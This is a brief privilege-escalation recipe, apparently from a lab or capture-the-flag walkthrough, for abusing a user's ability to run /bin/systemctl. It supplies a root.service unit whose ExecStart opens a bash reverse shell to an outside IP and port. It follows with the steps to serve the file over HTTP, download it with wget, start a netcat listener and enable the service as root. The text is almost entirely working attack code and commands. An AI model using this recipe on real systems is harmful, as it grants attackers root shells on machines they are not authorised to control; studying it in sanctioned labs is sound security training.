Abusing /bin/systemctl
When a low-privileged user can run /bin/systemctl, that is enough to start a service that runs as root. Create a root.service file with a reverse shell in its ExecStart:
[Unit]
Description=roooooooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.13.28.215/1335 0>&1'
[Install]
WantedBy=multi-user.target
Serve it from the attack box:
python3 -m http.server 8000
Find a writable folder or directory on the victim:
find -type d -maxdepth 2 -writable
From within the writable area on the victim, pull the file down:
wget http://10.13.28.215:8000/root.service
Start a netcat listener on the attack box:
nc -lvnp 1335
Then enable and start the service on the victim:
/bin/systemctl enable /tmp/root.service
/bin/systemctl start root